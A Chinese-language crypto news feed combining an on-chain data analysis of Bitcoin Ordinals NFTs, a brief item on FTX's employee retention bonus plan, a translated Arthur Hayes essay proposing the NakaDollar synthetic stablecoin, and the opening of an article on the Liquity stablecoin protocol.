目前，比特币OrdinalsNFT的类型主要包括图片（image）、文本（text）、视频（video）和音频（audio）这四类。从总量来看，累计总数最多的类型是图片NFT，一共有20.88万个，其次是文本NFT，一共有11.74万个。视频和音频NFT则较少，分别都不足500个。从日均生成量来看，最多的图片NFT在观察期内日均生成了4540个，文本NFT日均生成了2551个，视频和音频NFT日均生成不足15个。 这种类型分布与比特币OrdinalsNFT的生成方式有关，比特币NFT（即铭文数据）是完全在链上的，它是见证数据的一部分，与单个satoshi相互“绑定”，所以NFT的大小受制于比特币区块空间大小，更小的图片和文本NFT具有一定的优势。 这一点也可以从各类型比特币OrdinalsNFT的生成趋势中观察到。将各类型NFT的日生成数量转化为自然对数，以便在一个更紧凑的尺度上统一观察，从趋势来看，图片和文本NFT均呈显著的增长趋势，尤其是文本NFT，增长趋势线更为“陡峭”，近期增长最明显。而视频NFT增呈下降趋势，音频NFT基本保持稳定。 从现阶段来看，NFT的主要价值仍然体现在二级市场中。目前，比特币OrdinalsNFT的交易市场主要有4个，分别是ordinals.market、ORDSWAP、OrdinalsWallet和OpenOrdex。在2月15日至3月7日期间，4大市场的累计交易总额约为699万美元，其中，交易额最高的是ordinals.market，约为428万美元，其次是ORDSWAP，约为166万美元，OrdinalsWallet也有将近100万美元。总的来说，这些交易市场的总交易规模都还在百万美元级别。 从4大市场每日交易总额来看，日均总额约为33.3万美元。交易额的增长始于2月28日以后，其中，28日当天的交易额达到了174万美元，此后每日基本保持在50万美元左右，显著高于此前每日10万美元左右的水平。日交易总额的增长趋势是十分明显的。 从用户规模来看，同期4大市场的累计独立地址数约为5.85万个，其中，OrdinalsWallet的累计独立地址数最多，达到了3.08万个，其次是ORDSWAP和ordinals.market，分别约为1.56万个和1.20万个。 从4大市场累计独立地址数的变化来看，每日独立地址总数增长明显，但近期增速有所放缓。3月7日的独立地址总数已突破1万个，较本月初的3209个增长了211.75%，较2月15日的7个则可以说是实现了从0到1的突破。 比特币OrdinalsNFT的快速发展，为底层网络带来了一些明显的变化。首先，最直观的变化是，Taptoor的采用率明显上升。 根据glassnode的分类，比特币使用余额的类型，即可理解为交易类型，一共可以分为8种，包括P2PK、P2PKH、Bare Multisig、P2SH、P2WPKH、P2WSH、P2TR和Non-standard。其中，P2TR指Pay to Taproot，即使用Taproot交易，这种交易类型的占比在1月21日以后呈现显著上升趋势，从1.79%上涨至了6.22%，最高一度接近10%，近期则基本保持在5%以上。 另外两个连锁的直观变化则是交易次数的上涨和每日平均算力的上涨。NFT的生产和转移都体现为链上交易，交易需求的增加自然会影响算力变化。 根据统计，交易次数的增长比较温和，统计期内从单日28.77万次上涨至单日31.59万次，涨幅约为9.79%。期间最高单日交易次数约为38.18万次，最低约为24.02万次，总体波动并不剧烈。而单日平均算力的涨幅也同样很温和，统计期内从单日259.0 EH/s上涨至单日279.3 EH/s，涨幅约为7.81%，处于历史极高水平。期间最高单日平均算力约为361.6 EH/s，最低约为222.6 EH/s，近期波动较为明显。 比特币OrdinalsNFT的发展为比特币的应用打开了新的空间，网络使用率的上升带动了矿工收入的增长。矿工单日总手续费收入在统计期内从16.33 BTC增长至24.03 BTC，涨幅高达47.15%，增长十分显著。其中，NFT产生的手续费从单日0.00066 BTC增长至0.28428BTC，涨幅约为43257.73%，相当于翻了433倍。 近期比特币单日总手续费的增长动力主要来自于OrdinalsNFT，两者的相关性在统计意义上显著，即OrdinalsNFT产生的手续费越多，当日的总交易手续费也越多，矿工得益于OrdinalsNFT活动。 从OrdinalsNFT手续费占当日总手续费的比重来看，统计期内的平均值约为6.61%，即矿工收入的近7%来自NFT活动。不过这只是日均值，受到早期NFT活动较少的影响较大，如果把观察的时间范围缩小至2月份，那么矿工收入的近9%都来自NFT活动。 值得注意的是，在2月中旬，比特币NFT手续费占比一度突破了21%，连续多日高于15%，NFT在未来有可能成为矿工的重要收入来源。另外，结合比特币NFT的日生成数量来看，在1月21日至3月7日的统计期内，平均每1万个NFT产生了2.36 BTC的手续费，同期日均总手续费约为18.95 BTC，即平均每1万个NFT占矿工手续费收入的12.47%。这表明，比特币NFT数量的增长将会较明显的影响矿工收入。 不过，就目前的情况而言，这种影响尚未体现。相反，近期比特币网络平均每字节（最小区块空间单位）的交易费用还呈下降趋势，从1月21日的0.0023 BTC下降至3月5日的0.0013 BTC，降幅约为41.52%。并且近期平均每字节交易费用的波动也比较大，最高能达到0.0031 BTC，最低则只有0.00099 BTC。 这与比特币OrdinalsNFT使用的区块空间大小有关。尽管近期受到NFT活动的影响，比特币的平均区块容量呈明显的上升趋势，从1月21日的2.94 MB上涨至3月5日的3.74 MB，涨幅约为26.94%。自2月份以来，平均区块重量基本保持在3.8 MB左右。 但是，这距离SegWit和Taroot允许的最大重量4 MB仍然有一定空间，根据统计，1月21日至3月5日期间，比特币平均区块重量占总容量的平均比重约为87.78%，不到9成，最高不超过95.5%。这意味着，当前比特币OrdinalsNFT活动仍然在网络可承受范围内，没有对其他交易活动形成挤压，只是消耗了本来就空余的空间。 但这只是比特币NFT的早期阶段，随着NFT的繁荣与发展，未来可能会对比特币链上基本面，尤其是矿业基本面产生更复杂的影响。尤其是NFT集中铸造可能加剧比特币交易手续费的短期波动，而在日常情况下，NFT活动可能会长期提高区块空间的利用率。这可能会催生比特币二层网络的发展，以及用户友好的钱包等其他设施的发展。 数据说明： [1] GalaxyDigital的市场预测报告： https://www.galaxy.com/research/whitepapers/bitcoin-ordinals-inscriptions-5-billion-nft-market/  ( 4 min )
    FTX提出400万美元的奖金计划以留住员工
    PANews 3月9日消息，据CoinDesk报道，根据周二提交的法庭文件，破产的加密货币交易所 FTX 希望推出一项 400 万美元的奖金计划，以阻止具备关键技能的员工辞职。首席执行官 John J. Ray III 希望提供高达工资 94% 的奖金，以阻止那些了解编程或公司会计惯例的人辞职。该计划将于 3 月 29 日在特拉华州法院举行的听证会上进行讨论。  ( 4 min )
    Arthur Hayes：利用期现对冲，打造 “比特币保证金+反向永续合约” 为发行机制的美元稳定币
    原文：《Dust on Crust》 编译：《Arthur Hayes 博文: 以 “比特币保证金+反向永续合约” 打造新的美元稳定币》by GaryMa 吴说区块链 本文 Arthur Hayes 重新回顾审视了加密货币行业为什么需要稳定币、使用稳定币做什么以及如何使用稳定币的经典（Why, What, How）问题，并构思了一种以 “比特币保证金+反向永续合约” 作为底层机制发行的无清算风险的合成美元稳定币 NakaDollar（NUSD）， Arthur Hayes 认为合规美元稳定币将由于监管限制，未来市值增长将受限无法匹配行业的增长规模，并希望行业人才团队能致力开发 NakaDollar 类似产品，其将鼎力相助。 春天来了，我们也进入滑雪季中称之为 “dust on crust” 的阶段。"Dust on crust" 是一个滑雪术语，指的是在雪面上出现的一种条件，其中新的、干燥的雪（"dust"）落在早期形成的薄冰层（"crust"）之上。这种条件非常具有挑战性，因为这种薄冰层很容易破裂或变得非常滑，从而使滑雪者很难控制速度和方向。雪面上的粉末雪也会增加摩擦力，使滑雪更加困难。因此，滑雪者需要特别小心，保持控制，并避免在这种条件下滑行时太过激进。 加密货币市场也有类似的生命周期。从中本聪的初始布道开始，他的信徒们在可疑的、坚硬的、脆弱的基础上建造了许多城堡。目前，尤其是这些基础之一的稳定币，这个加密货币和法定金融市场之间的连接组织，是大量审查和恐慌的主题。随着担忧的增加，我们有必要重新审视并提醒自己稳定币存在的理由。只有这样，我们才能理解为什么它们继续存在仍然重要，才能确定它们最合适采取什么形式，才能确定我们如何才能最好地补救目前的状况。 比特币是通过挖矿的过程产生的。比特币矿工消耗能量，相互竞争，以快速解决一个复杂的数学难题。这场比赛的赢家会得到新创造的比特币作为奖励。这是获得比特币的少数几种方式之一。 获得比特币最常见的方式是向别人购买。在开始的时候，OG 矿工基本上是你唯一可以买到比特币的渠道（因为流通量很低，他们是有效的生产者）。你购买很可能是（现在也是）使用美元，因为它是全球储备货币。因此，最广泛引用的比特币交易对是（现在也是）BTC/USD。 作为一种法定货币，美元必须在西方法定金融体系内持有。当然，你可以使用现金，但在一个 GDP 以万亿美元计算的全球经济中，现金并不是一种实用的交易手段。这一现实或多或少地要求希望购买比特币的人必须使用西方的银行系统。银行必须被用来将美元从比特币的买方转移到卖方。 最终的问题是，我们如何消除使用美元或任何其他法币来购买比特币的需要？解决这个谜题需要世界上大多数最大的经济体系用比特币来支付商品和接收工资。这是任何一个真正的比特币玩家的梦想，如果我们成功了，许多人将通过工作赚取比特币，从而消除使用银行服务的需要。但是尽管我们付出了所有的努力，仍然有可能永远达不到这个终极状态。 现在，我们被困在一种炼狱中。我们已经逃离了 2009 年之前的纯法币金融世界的地狱，但我们还没有和我们的主中本聪一起升入天堂，坐在高处俯视卑鄙的法币魔鬼。 在加密货币资本市场内，我们需要使用法币来做什么？ 如果你想把比特币作为一种金融资产，并轻松地在它和美元等法定货币之间进行交换，你很可能使用一个可以保管美元和 BTC 的交易所。 对于某项交易的美元部分，交易所需要一个银行账户。交易所要获得和保留银行账户并不容易。请记住，从根本上说，中本聪的正义追随者的整个目标是创建一个不需要银行服务的平行金融系统。你可以理解为什么银行可能会抵制为加密货币公司提供服务，因为这些公司的最终目的是要吸走银行的一大块业务。一些银行愿意为加密货币公司提供服务的唯一真正原因是，在一天结束时，银行专注于短期利润最大化，而加密货币公司愿意支付高额费用，同时不赚取法币存款的利息。基本上，一些经理正在牺牲银行系统的长期盈利能力，以垫高他们未来几年的奖金。 某项交易的 BTC 部分很容易。下载 BitcoinCore，几个小时后，你就有了一个功能齐全的金融系统。你可以接受比特币，并以免许可的方式转移比特币。 真正的交易者和做市商对比特币（以及一般的加密货币）的成败并不感兴趣。因为他们的工作不是从中期或长期角度思考，他们唯一的重点是通过提供 24/7 的流动性来实现盈利。 扮演好他们角色的先决条件之一是能够快速和廉价地在美元和加密货币之间流动。但是，西方的银行系统并没有让他们轻松，因为它并不是为了快速和廉价地移动资金而准备的，无论你是想在储户之间的内部传递资金，还是在银行之间的外部传递资金。鉴于银行业是受政府章程保护的寡头垄断，银行没有动力去努力变得更快、更便宜。 因此，加密货币交易者需要在美元和加密货币之间更快地来回移动他们的资金。为了解决这个问题，交易员们意识到，他们需要在公链上创建一个 Token，可以像比特币一样方便地移动，但在其他方面，它将代表美元，并具有与美元完全相同的价值。这样，他们可以很容易地将他们的钱转入和转出，在功能上与转入和转出美元完全相同，但不需要等待缓慢的西方银行系统。如果有人创造了这样的产品，交易者将能够以每笔交易几美分的成本，几乎即时和全天候地将他们的数字美元等价物移入和移出交易所。 这推动了稳定币的诞生，稳定币是存在于比特币或以太坊等公链上的 Token，但其价值正好等于一美元（或另一种法定货币单位，尽管最大的稳定币是以美元计价的）。Tether 是第一个美元稳定币，2014 年在 Omni 网络上发行（托管在比特币之上）。今天，USDT 可以在更多的区块链上使用和交易，如以太坊、波场和币安链。 交易所和交易员纷纷涌向 USDT（以及其他稳定币），因为它不需要每个参与者获得自己的银行账户来持有法币。这使他们能够专注于他们进入加密领域的目的，帮助创建一个新的金融体系，而不是与周一至周五朝九晚五工作的银行官员玩馅饼游戏。只要 Tether 组织能够让其银行合作伙伴满意，并向他们证明 Tether 为每个 USDT 持有 1 美元或美元现金等价物（例如，短期美国国债），那么 USDT 就可以在加密资本市场上像美元一样交易。当 USDT 被交还给 Tether 赎回时，Tether 会指示其银行将其账户中持有的等值美元电汇到哪里。 突然之间，整个企业都可以使用，因为他们不再需要担心开立和保留银行账户。例如，币安多年来一直没有法定银行账户，尽管它已成为全球最大的现货交易所。即使在今天，币安现在允许通过传统银行存入美元，交易所最具流动性的交易对也不是美元，而是 USDT、BUSD 或 USDC 等其他稳定币。 使用稳定币的贸易公司也有一个优势，因为他们不必担心等待来自公司银行账户的大量美元汇入和流出。如果他们可以将初始法定资本兑换为加密货币或法定稳定币，他们就可以随心所欲地快速交易。当他们需要退回到 “安全” 的法定货币时，他们可以立即将所有资金提取到稳定币中，成本几乎为零。 如今，稳定币解决了加密货币资本市场的一个非常现实的痛点。它们可能不完全符合加密货币的核心原则，即它们根本不是去中心化的，但稳定币的意义不是在不需要的地方创造一个去中心化的产品。相反，它们只是为了提供银行拒绝提供的法币 Token 化服务。 请忍耐一下，因为我在这里会有一个小的切入点，但需要说的是：不是所有东西都需要甚至应该去中心化。这就是为什么我相信超额抵押的稳定币，如 MakerDAO/DAI和算法稳定币，如TerraUSD，从根本上讲是不必要的。但不幸的是（也是危险的），市场倾向于将稳定币存在的真正原因，即允许交易者在法币和加密货币之间快速移动，与更广泛的去中心化运动的目标混为一谈，即为任何威胁到为大众创造不平等的中心化机构或实体创造一个去中心化的替代方案。 现实情况是，我们已经有一个去中心化的价值交换替代方案，遏制了中央银行的风险。这就是所谓的比特币。稳定币并不是要作为另一个去中心化的价值存储，它们的目的是在中心化和去中心化的金融之间架起桥梁。 今天的稳定币的问题不在于中心化。而是没有一个有信誉的、成熟的银行机构愿意推出他们自己的。如果世界上经营最好的商业银行摩根大通（JPM）推出一套 G10 法币稳定币，它将使USDT、USDC（Circle）、BUSD（Binance）等立即失去业务。与我们现有的一些稳定币选择背后的公司不同。摩根大通也完全了解如何使用公链，并将该技术整合到一个连贯的工作流程中。该公司的内部区块链小组，Onyx，已经在这方面做了很多年。而最重要的是，摩根大通是一家大而不倒的银行，是财政部借款咨询委员会（为美国财政部提供咨询）的成员。如果出现问题，而摩根大通无法支付，美联储会印制他们需要的钱来补偿摩根大通的客户。 JPM Token 将吸引所有主要货币的数千亿美元的资产。所有的交易所和交易者都会立即采用它。唯一的问题是，它也将摧毁全球银行系统每年从其交易和外汇费用中赚取的数万亿美元。 突然之间，就不需要为转移你的钱支付令人震惊的银行费用了。只要通过以太坊网络发送 JPM Token，最多只需支付几美元的网络费用。在不同货币之间，例如在美元和欧元之间，支付荒谬的利差将成为过去，因为你可以在美元 JPM Token 和 欧元 JPM Token 之间自由而廉价地进行交换。Curve 将只是建立一个 JPM 欧元/美元池，你可以以低于 0.01% 的价格进行 24/7 的外汇交易。 当然，这对摩根大通来说并不全是坏事，因为他们会从额外的存款中受益。它可以借出这些存款并从中赚取利息，对美联储来说没有任何风险。但是，这将在一夜之间摧毁其他银行伙伴的业务，并实质性地抑制公司的未来收益。麦肯锡在2022年的一份报告中估计，在全球范围内，如果一个成功的零售中央银行数字货币（CBDC）被引入，银行将失去 2.1 万亿美元的年收入。 这就是为什么在美联储有账户的银行都不会推出稳定币，除非政府指示他们这样做。这也是为什么在行业发展的这个阶段，一直有，而且可能会继续有一些非银行实体提供加密货币资本市场迫切需要的稳定币服务的空间。 鉴于最近在 Silvergate 和其他各家银行决定停止为 USDC 和 BUSD 等稳定币提供服务之后，银行业的震荡在加密货币领域回荡，行业必须团结起来，创造一种新产品。 我们的目标是创造一种价值 1 美元的 Token，但不需要法币银行系统的服务。 我们的目标不是创造一个去中心化的法定货币。MakerDAO 很好，假设它确实是去中心化的，但对于 1 美元的价值，它需要锁定价值超过 1 美元的加密货币。它移除的流动性比它增加的要多，这对系统来说是一个净负值。我们需要的是一种机制，允许你锁定价值 1 美元的加密货币来获得价值 1 美元的稳定币。 1 NUSD = 1 美元的比特币+做空 1 份比特币/美元的反向永续合约 一份比特币反向永续合约（例如，在 BitMEX 上的标记为 XBTUSD 的合约），价值为 1 美元的比特币，并以比特币支付，其支付函数如下： 下面将对比：1 美元 vs 美元计价的比特币价格 这个函数有一些有趣的特性。 当比特币在美元中的价值下降并接近 0 美元时，以比特币计算的永续合约价值就会接近无限大。这是该产品的一个风险因素，因为永远只有 2100 万个比特币。比特币的价值随着美元价格的下降而呈指数式增长。这意味着如果比特币的价格迅速下跌，而交易这些衍生品的交易所的流动性不足，那么出现社会化损失（通常用来描述在某些情况下，某个行业或企业的亏损将由整个社会或政府承担的现象）情况的机会就会增加。我将在后面讨论为什么这很重要。 随着比特币以美元计算的价值增加并接近无穷大，以比特币计算的永续合约价值也接近 0。这是很有帮助的，因为这意味着如果你持有的头寸是完全资金充足的，即在入市时你存入的比特币数量正好等于永续合约代表的金额，那么你就不可能破产或被强制平仓。 让我们快速证明这一点。 假设你想创建一个合成美元或 1 个单位的 NUSD，而比特币的价格是 1 美元，每个 XBTUSD 合约在任何价格下都价值 1 美元的比特币。 为了创造 1 NUSD，我需要在衍生品交易所（如 BitMEX）存入 1 BTC 并做空 1 份 XBTUSD 合约。 现在，比特币价格从 1 美元跌至 0.1 美元。 XBTUSD 合约的价值（BTC）= 1 美元 / 0.1 美元 = 10 BTC XBTUSD 合约头寸的 PNL = 10 BTC（当前价值）- 1 BTC（初始价值）= +9 BTC（我在赚钱）。 我有 1 BTC 作为保证金存放在交易所。 我在交易所的总资产余额是1 BTC（我的初始存款）+ 9 BTC（我从 XBTUSD 头寸中获得的利润），我的总余额现在是 10 BTC。 比特币价格现在是 0.1 美元，但我有 10 BTC，因此我的总投资组合的美元价值没有变化，是 1 美元，即 0.1 美元 * 10 BTC。 现在，比特币价格从 1 美元升至 100 美元。 XBTUSD 合约的价值（BTC）= 1 美元 / 100 美元= 0.01 BTC XBTUSD 合约头寸的 PNL = 0.01 BTC（当前价值）- 1 BTC（初始价值）= -0.99 BTC（我在亏钱）。 我有 1 BTC 作为保证金存放在交易所。 我在交易所的总资产余额是 1 BTC（我的初始存款）- 0.99 BTC（我的 XBTUSD 损失），我的总余额现在是 0.01 BTC。 现在比特币的价格是 100 美元，但是我有 0.01 个BTC，因此我的总投资组合的美元价值没有变化，是 1 美元，100 美元 * 0.01 BTC。 你可以看到，价格上涨了 100 倍，我也并没有破产。 这种 BTC + BTC/USD 的反向永续合约关系是如此基本和重要，以至于我每次谈论它时都必须通过数学计算。这种关系使我们能够合成一个美元等价物，而不会触及法币银行系统中的美元或存在于加密货币中的稳定币。它也不会像 MakerDAO 那样，用比它创造的法币价值更多的加密货币抵押品作抵押。 这一点极为重要：NakaDollar 不是依靠敌对的法币银行来保管美元，以便将其 Token 化，而是依靠衍生品交易所上架反向永续合约。它不会是去中心化的，NakaDollar 解决方案中的故障点将是中心化的加密货币衍生品交易所。我排除了去中心化的衍生品交易所，因为它们的流动性远不及中心化的同类交易所，而且它们的定价预言机依赖于中心化现货交易所的反馈。 第一步是创建一个既存在于传统法律体系中又作为加密货币原生 DAO 的组织。DAO 必须有一个传统的法律存在，因为它需要在所有成员交易所上拥有一个帐户。 该 DAO 将发行自己的治理 Token：NAKA。在成立之初，会有有限数量的 NAKA Token 产生。第一次筹集的资金将用于资助一个沉淀池，我将在后面描述其使用情况，并创建一个初始的 NUSD 供应库存。随后，NAKA 将从 DAO 中分发，以换取在整个 DeFi 生态系统中提供流动性的机会。例如，NAKA 可以被排放到 Uniswap 或 Curve pools 上的 NUSD 与其他资产流动性的提供者。此外，如果 NAKA Token 的需求量很大，DAO 可以决定出售更多的 NAKA 以进一步加强偿债基金的规模。 NAKA 持有者可以对运营事项进行投票，如谁是成员交易所。成员交易所将持有 BTC 和反向永续合约空头头寸，这些头寸支撑着 1 NUSD = 1 USD 的汇率。成员交易所的账户将以 DAO 的名义存在。成员交易所需要至少提供一个以比特币为保证金的 BTC/USD 反向永续合约交易对。需要有一个以上的成员交易所，因为重点是让尽可能多的加密货币生态系统的管理人参与进来，并减少单点故障。 NAKA 治理 Token 和 NUSD 将是 ERC-20 Token 。 在下面的例子中，假设有两个成员交易所：BitMEX 和 Deribit。这两家交易所都提供一个比特币保证金的 BTC/USD 反向永续合约交易对：XBTUSD。 NAKA 持有人也将投票决定如何分配净利差。历史上，这些永续合约净支付利息给做空方，这被称为资金费用，大多数永续合约每八小时支付一次资金费用。随着时间的推移，DAO 的净资产余额将超过未偿还的 NUSD Token 价值。在会计术语中，NakaDAO 的股东权益将为正且不断增长。 只有少数公司或个人被允许直接从 DAO 创建和赎回 NUSD。 我设想了成为 AP 的以下要求： 1.  在每个成员交易所拥有一个完全验证的账户。 2.  满足 DAO 的任何身份验证要求。 NUSD 可以以显式（例如 NUSD / USD）或隐式（例如 BTC / NUSD，其与 BTC / USD 的价格存在溢价或贴水）价值交易，与法定美元相对应。如果 NUSD 的交易价格高于法定美元，被授权参与者将以 1 NUSD = 1 USD 的比率创造 1 NUSD，并以超过 1 美元的价格出售 1 NUSD 以获利。如果 NUSD 的交易价格低于法定美元，被授权参与者将以低于 1 美元的价格购买 1 NUSD，并赎回 1 NUSD 以获得 1 美元的收益。 DAO 需要有一套获取比特币现货喂价的方法，以确定需要多少份合约来正确地创造 NUSD。 每个成员交易所对 BTC/USD 的现货价格都有自己的看法。 现货价格 = 总和（会员权重*会员BTC/USD现货指数） 例如： 一个 AP 希望铸造 100 NUSD。 NakaDAO BTC/USD 的现货价格是 100 美元。 有两个成员交易所（BitMEX和Deribit），每个交易所的权重为 50%。 100 美元的 BTC/USD 价格相当于 1 BTC。 如果每份 XBTUSD 合约在任何价格下都价值 1 美元的比特币，那么要有名义价值 100 美元的合约，我需要 100 份合约。 在每个成员交易所，AP 需要具备以下条件： 0.5 BTC可用保证金 = 50% * 1BTC 做空 50 份 XBTUSD 合约 = 50% * 做空 100 份 XBTUSD 合约 像 Paradigm 这样的区块交易信息传输协议将被用来在 DAO 和 AP 之间交叉交易比特币和永续合约。（注：交叉交易即交易可在两个交易所之间自动进行，以便以更快更优的价格完成交易） 这就是 AP 和 DAO 在两个交易所交叉交易时的情况： AP ERC-20 地址： ● 收到 100 NUSD BitMEX 上的 AP： ● 损失 0.5 BTC 保证金 ● 关闭 50 份 XBTUSD 空头合约或开启 50 份 XBTUSD 多头合约 在 Deribit 上的 AP： ● 损失 0.5 BTC 保证金 ● 关闭 50 份 XBTUSD 空头合约或开仓 50 份 XBTUSD 多头合约 在 BitMEX 的 DAO： ● 获得 0.5 BTC 保证金 ● 开仓 50 份 XBTUSD 空头合约 在 Deribit 上的 DAO： ● 获得 0.5 BTC 保证金 ● 开仓 50份 XBTUSD 空头合约 DAO 财政库： ● 增加了 100 NUSD 负债，意味着它发行了 100 NUSD ● 为了铸造 NUSD，AP 会向 DAO 支付一笔费用。 一个 AP 希望赎回 100 NUSD。 NakaDAO 的 BTC/USD 现货价格是 100 美元。 AP 必须在 ERC-20 地址上拥有 100 NUSD。 像 Paradigm 这样的区块交易信息协议将被用来在 DAO 和 AP 之间交叉交易比特币和永续合约。 AP ERC-20地址： ● 向 DAO 的钱包地址发送 100 NUSD BitMEX 上的 AP： ● 获得 0.5 BTC 保证金 ● 开仓 50 份 XBTUSD 空头合约 Deribit 上的 AP： ● 获得 0.5 BTC 保证金 ● 开仓 50 份 XBTUSD 空头合约 在 BitMEX 的 DAO： ● 损失 0.5 BTC 保证金 ● 关闭 50 份 XBTUSD 空头合约 在 Deribit 上的 DAO： ● 损失 0.5 BTC 保证金 ● 关闭 50 份 XBTUSD 空头合约 DAO财政部： ● 将 NUSD 负债减少 100，意味着它销毁了 100 NUSD ● 为了赎回 NUSD，AP 将向 DAO 支付一笔费用 正如你所看到的，铸造和赎回在 AP、DAO 和他们各自在成员交易所的账户之间移动 NUSD、BTC 和合约，没有需要银行服务的美元移动。 资产： ● 比特币和在成员交易所持有的短线反向永续合约。 负债： ● 发行的 NUSD 总量。 为了验证 NakaDAO 没有玩弄钱财，我们需要一个以太坊区块链浏览器，如 etherscan.io，以及来自交易所的关于 DAO 的比特币余额和 DAO 的未平仓空头头寸总额的证明。然后，使用上面描述的简单数学，我们可以计算 DAO 的股东权益，确保资产大于或等于负债。 正如我上面提到的，永续合约在历史上是向空头支付净利息的。这种利息是以比特币为单位的，因此，在成员交易所持有的比特币应该会增长。如果是这样的话，当你把资产和负债相抵消时，就会有盈余。也会有空头净支付资金的时期，在这种情况下，也可能出现赤字。 现在我将介绍三种风险。当我回顾这些风险时，请记住，最初的偿债基金和随后的 NAKA 治理 Token 的销售可以帮助解决任何资本短缺。 风险1：成员交易所丢失比特币 成员交易所可能因为各种原因失去客户的比特币存款。最有可能的罪魁祸首可能是内部人员盗窃或外部黑客。无论哪种情况，都必须使用偿债基金来帮助弥补差额。 风险2：负资金费率 当资金费率为负数时，空头合约持有人向多头支付利息。这可能导致比特币的余额下降到这样的程度，即 1 NUSD 的综合价值低于 1 USD。这将很清楚，因为 DAO 资产的价值将低于负债。在这一点上，必须使用偿债基金来帮助弥补差异。 风险3：社会化损失 正如我上面所描述的，当比特币的价格下跌时，空头合约持有人就会有未实现的利润。鉴于保证金货币是比特币，而多头合约持有人所欠的比特币的价值随着价格的下跌而成倍增加，在某些情况下，多头将无法支付他们欠空头的钱。这时，交易所会介入，要么减少空头的利润，要么关闭空头的部分头寸。无论哪种方式，一旦比特币与空头合约的正确比例重新建立，DAO 可能会因未完全支付或未被允许保持其完整的期望头寸而缺少比特币。此时，必须动用偿债基金来尝试弥补差额。 出于各种原因，主流中心化交易所的生态系统应该支持这种类型的稳定币，在这样做的过程中，他们应该将所有的交易对以 NUSD 匹配 。这将在交易者中创造一种内在的需求，以铸造和持有 NUSD，持有 NUSD 成为交易加密货币的先决条件。 使用 NUSD 与其他依赖银行的稳定币相比，将消除许多交易者对他们所使用的稳定币明天、下个月、明年等是否存在的焦虑。消除这种焦虑将允许更多的交易，因为交易者将不再担心他们可能会被一堆稳定币困住，担忧他们无法以 1:1 的美元价值赎回。 使用 NUSD 与其他稳定币相比，将消除加密货币恐惧症的一个核心支柱。我已经厌倦了阅读 “稳定币是一个庞氏骗局” 或者 “一旦有人揭露他们或他们的银行抛弃了他们，整个加密货币的纸牌屋就会倒塌” 这类观点文章。这种恐惧症的重复使交易者远离，而我们可以很容易地将其彻底根除。 NUSD 的广泛采用将阻止每个大型交易所竞相创建自己的稳定币以寻求竞争优势。如果大多数的大玩家都是成员交易所，那么每个人都会从 NUSD 的增长中受益。这将大大有益于目前的状况，即美元稳定币百花八门。想象一下，如果 SBF 成功地骗取了人们对他的 FTX 机构的信任，用更多的美元来支持稳定币，那将是多么糟糕的事情。信不信由你，FTX 正在积极讨论寻求相关的批准，以推出这样一个产品。值得庆幸的是，在他们有机会窃取更多的人的钱财之前就已经瓦解了。 加密货币交易所及其存款人理所当然地非常警惕任何中心化实体持有他们的财富。全球金融监管机构现在有了一个现实的例子，说明当加密货币法定存款突然流失时会发生什么——Silvergate 因未能正确风险管理其加密货币存款的迅速退出而陷入困境。无论 Silvergate 是美国监管的银行，都无关紧要。你想要去冒险亲身体验银行破产流程吗？当然不，你会在第一线索出现时将你的钱转移到被认为更安全的银行机构中。 一家由一群木偶经营的小的、落后的银行的失败是一回事。美元稳定币生态系统中最让美联储和美国财政部害怕的方面是：如果 Tether、Circle 和 Binance 共同持有的价值近 1000 亿美元的美国国债、票据和票据不得不在几个交易日内被处理掉以满足赎回要求，会怎么样？由于 2008 年大金融危机后出台的银行法规，美国国债市场的流动性比历史上低得多。对银行来说，在美国国债市场上提供与以往相同深度的流动性已经无利可图（或不可能）。因此，在这个波动加剧和流动性降低的时代，这些债券的 1000 亿美元的市场订单抛售将导致一些严重的市场功能紊乱。 美元法币稳定币根本不会被允许扩大到使加密货币的市值高出数万亿美元所需的规模（假设你相信加密货币的总市值与美元稳定币的流通总量呈正相关）。对美国金融系统来说，让所有这些美元掌握在必须立即清算其持有的债务以兑现其对客户的承诺的机构手中，风险实在太大。因此，虽然三大巨头（USDT、USDC、BUSD）可能会继续存在，但他们的存款总量能增长到多大，是有上限的。  这些主流稳定币持有大量美国国债的原因是，它支付利息，以美元计算几乎没有风险。稳定币发行人不向稳定币持有人本身支付利息。这是他们创造收入的方式。 但这并不是一个值得关注的理由。我们这些加密货币的信徒，有必要的工具和组织来支持价值 1 万亿美元或更多的 NakaUSD的流通。如果这个解决方案被交易员和交易所接受，它将推动比特币衍生品未平仓量的大幅增长，这反过来又会创造出深度的流动性。这将有助于投机者和对冲者。它将成为一个积极的飞轮，不仅有利于成员交易所，也有利于 DeFi 用户和其他任何需要美元 Token 的人，可以用低费用 24/7 移动。 我真诚地希望，一个由积极进取的人组成的团队开始致力于这样一个产品。它并不是应该由任何大型中心化交易所拥有或主导的东西。如果我看到任何可信的、独立的团队正在开发一个类似的产品，我将尽我所能帮助他们实现这一目标。  ( 9 min )
    解读稳定币协议Liquity：“BUSD风波”后的最大赢家？
    原文：《BUSD 风波之后，稳定币协议 Liquity 为何大火？》 作者： Bryan Liquity是一个去中心化的借贷和稳定币协议，允许Eth的持有者在不支付浮动利息的情况下获得最大的流动性。在519黑天鹅事件中，Liquity经受住了极端震荡的环境并且表现的相当稳健，证明其协议设计机制的强大。同时在最近的BUSD风波之后，稳定币协议Liquity也受到广泛的关注。 下图为 Liquity的治理代币 $LQTY 近 90 天的价格走势。可以看出 $LQTY 受益于今年 2 月在BUSD 的舆论风波，从 2 月 1 日到 27 日，$LQTY 价格从 $0.711 到 $1.278。 2月28日，$LQTY 上线 Binance，其价格进一步翻倍。目前价格维持在 $2 附近。 1、什么是稳定币和债务抵押平台？ 具有稳定价值的资产是以太坊应用的重要组成部分，并且已经发展成为一个价值数百亿美元的资产类别。然而，绝大部分的这类资产是以法币作抵押的稳定币形式出现的，如USDT和USDC。 而DAI、sUSD和LUSD等去中心化稳定币仅占稳定币总供应量的一小部分，这意味着绝大多数稳定币都是中心化的。 作为抵押借贷平台 Liquity、MakerDao 和 Synthetix 允许持有者锁定波动性大的代币以换取新生成的稳定币。因此，用户可以在保持投资标的物的同时释放它们的经济价值和流动性。 高额和不可预测的利息费用：大多数平台都会收取随时间累积的借款费用，例如 MakerDao 在 2019 年夏季收取的利息年利率高达20.5%。 由于低效的清算流程，导致抵押比率高企：现有平台通常要求对个人借款人的头寸进行大量超额抵押。 具体来说，MakerDao 的 ETH-B 抵押率为 130%，ETH-A 为 150%，甚至 Synthetix 的抵押率为 750%。 无法通过直接赎回机制来确保价格稳定：锚定加密资产的稳定币通常不能以面值赎回，并且由于缺乏直接套利机会无法保证硬挂钩机制。 